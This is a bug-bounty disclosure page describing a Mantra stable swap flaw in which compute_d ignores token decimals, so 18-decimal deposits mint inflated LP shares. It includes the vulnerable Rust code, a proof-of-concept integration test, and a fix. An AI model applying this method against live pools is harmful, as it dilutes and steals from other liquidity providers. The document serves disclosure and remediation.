Stable swap pools don’t properly handle assets with different decimals, forcing LPs to receive wrong shares
Stable swap pools in Mantra did not normalise token amounts by their decimals when computing the invariant D, so deposits of a high-decimal token produced a much larger D than equivalent deposits of a low-decimal token. An attacker could deposit the high-decimal asset and receive an exaggerated number of LP shares, diluting other liquidity providers.
0xAlix2 Follow with 0x1982us, Abdessamed and 2 others
Originally disclosed on Code4rena
Submitted by 0xAlix2, also found by 0x1982us, Abdessamed, carrotsmuggler, and oakcobalt
Stable swap pools in Mantra implement Curve’s stable swap logic, this is mentioned in the docs. Curve normalizes the tokens in a stable swap pool, by having something called rate multipliers where they’re used to normalize the tokens’ decimals. This is critical as it is used in D computation here.
The reflection of this in Mantra is compute_d, where it does something similar, here:
// sum(x_i), a.k.a S
let sum_x = deposits
.iter()
.fold(Uint128::zero(), |acc, x| acc.checked_add(x.amount).unwrap());
However, the issue is that amounts are not normalized from the caller, where this is called from compute_lp_mint_amount_for_stableswap_deposit:
#[allow(clippy::unwrap_used, clippy::too_many_arguments)]
pub fn compute_lp_mint_amount_for_stableswap_deposit(
amp_factor: &u64,
old_pool_assets: &[Coin],
new_pool_assets: &[Coin],
pool_lp_token_total_supply: Uint128,
) -> Result<Option<Uint128>, ContractError> {
// Initial invariant
@> let d_0 = compute_d(amp_factor, old_pool_assets).ok_or(ContractError::StableInvariantError)?;
// Invariant after change, i.e. after deposit
// notice that new_pool_assets already added the new deposits to the pool
@> let d_1 = compute_d(amp_factor, new_pool_assets).ok_or(ContractError::StableInvariantError)?;
// If the invariant didn't change, return None
if d_1 <= d_0 {
Ok(None)
} else {
let amount = Uint512::from(pool_lp_token_total_supply)
.checked_mul(d_1.checked_sub(d_0)?)?
.checked_div(d_0)?;
Ok(Some(Uint128::try_from(amount)?))
}
}
This messes up the whole shares calculation logic, as D would be way greater for LPs depositing tokens of higher decimals than other tokens in the same stable swap pool.
NB: This is handled for swaps, here.
Proof of Concept
Add the following in contracts/pool-manager/src/tests/integration_tests.rs:
The following test creates a stable swap pool with 3 assets, 2 of them have 6 decimals, while the 3rd has 18 decimals. Initially, the same amount * asset decimals of each asset is deposited, depositing the same amount of the 18 decimal token results in an exaggerated amount of shares minted to the LP.
To double check this, you can try changing uweth’s decimals to 6, and confirm that both test cases result in equal number of shares, unlike the current implementation, where the difference is huge.
fn setup() -> (TestingSuite, Addr, Addr, String) {
let mut suite = TestingSuite::default_with_balances(
vec![
coin(1_000u128 * 10u128.pow(6), "uluna".to_string()),
coin(1_000u128 * 10u128.pow(6), "uusd".to_string()),
coin(1_000u128 * 10u128.pow(18), "uweth".to_string()),
coin(10_000u128, "uom".to_string()),
],
StargateMock::new("uom".to_string(), "8888".to_string()),
);
let creator = suite.creator();
let user = suite.senders[1].clone();
suite.instantiate_default().add_one_epoch().create_pool(
&creator,
vec!["uluna".to_string(), "uusd".to_string(), "uweth".to_string()],
vec![6u8, 6u8, 18u8],
PoolFee {
protocol_fee: Fee {
share: Decimal::zero(),
},
swap_fee: Fee {
share: Decimal::zero(),
},
burn_fee: Fee {
share: Decimal::zero(),
},
extra_fees: vec![],
},
PoolType::StableSwap { amp: 100 },
Some("uluna.uusd.uweth".to_string()),
vec![coin(1000, "uusd"), coin(8888, "uom")],
|result| {
result.unwrap();
},
);
let lp_denom = suite.get_lp_denom("o.uluna.uusd.uweth".to_string());
suite.provide_liquidity(
&creator,
"o.uluna.uusd.uweth".to_string(),
None,
None,
None,
None,
vec![
Coin {
denom: "uluna".to_string(),
amount: Uint128::from(10u128 * 10u128.pow(6)),
},
Coin {
denom: "uusd".to_string(),
amount: Uint128::from(10u128 * 10u128.pow(6)),
},
Coin {
denom: "uweth".to_string(),
amount: Uint128::from(10u128 * 10u128.pow(18)),
},
],
|result| {
result.unwrap();
},
);
(suite, creator, user, lp_denom)
}
#[test]
fn wrong_handling_of_decimals_on_stableswap_deposit_1() {
let (mut suite, _, user, lp_denom) = setup();
suite
.provide_liquidity(
&user,
"o.uluna.uusd.uweth".to_string(),
None,
None,
None,
None,
vec![
Coin {
denom: "uluna".to_string(),
amount: Uint128::from(2u128 * 10u128.pow(6)),
},
Coin {
denom: "uweth".to_string(),
amount: Uint128::from(2u128 * 10u128.pow(18)),
},
],
|result| {
result.unwrap();
},
)
.query_balance(&user.to_string(), lp_denom.clone(), |result| {
assert_eq!(
result.unwrap().amount,
Uint128::from(13_901_163_096_216u128)
);
});
}
#[test]
fn wrong_handling_of_decimals_on_stableswap_deposit_2() {
let (mut suite, _, user, lp_denom) = setup();
suite
.provide_liquidity(
&user,
"o.uluna.uusd.uweth".to_string(),
None,
None,
None,
None,
vec![
Coin {
denom: "uluna".to_string(),
amount: Uint128::from(2u128 * 10u128.pow(6)),
},
Coin {
denom: "uusd".to_string(),
amount: Uint128::from(2u128 * 10u128.pow(6)),
},
],
|result| {
result.unwrap();
},
)
.query_balance(&user.to_string(), lp_denom.clone(), |result| {
assert_eq!(result.unwrap().amount, Uint128::from(9_054_673_799_013u128));
});
}
Recommended mitigation steps
Whenever computing D, make sure all the deposits/amounts are in the “non-decimal” value, i.e., without decimals. For example, 100e6 should just be sent as 100, just like how it’s done in compute_swap. This should be added in compute_d.
jvr0x (MANTRA) confirmed
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the invariant calculation summed raw token amounts without scaling them by their decimals, unlike the swap path which normalises amounts first.
Impact
Liquidity providers depositing a high-decimal token could receive inflated shares, diluting the value of existing LPs' positions.
What the attacker needed
A stable swap pool with mixed-decimal assets; ability to provide liquidity
The fix
The invariant computation should normalise all deposit amounts to their non-decimal values before summing, as the swap path already does.
How it was found
- Create a stable swap pool with three assets, two with 6 decimals and one with 18 decimals.
- Seed the pool with equal raw amounts of each asset.
- Deposit the 6-decimal asset and the 18-decimal asset as a user.
- Observe the LP shares minted are far larger than when depositing only 6-decimal assets.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A liquidity pool lets people deposit tokens and get pool shares in return. The pool must compare deposits fairly, but here it compared raw numbers without adjusting for tokens that have more decimal places, so a token with 18 decimals looked far bigger than one with 6. That let a depositor get more shares than they deserved, at the expense of everyone else in the pool.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.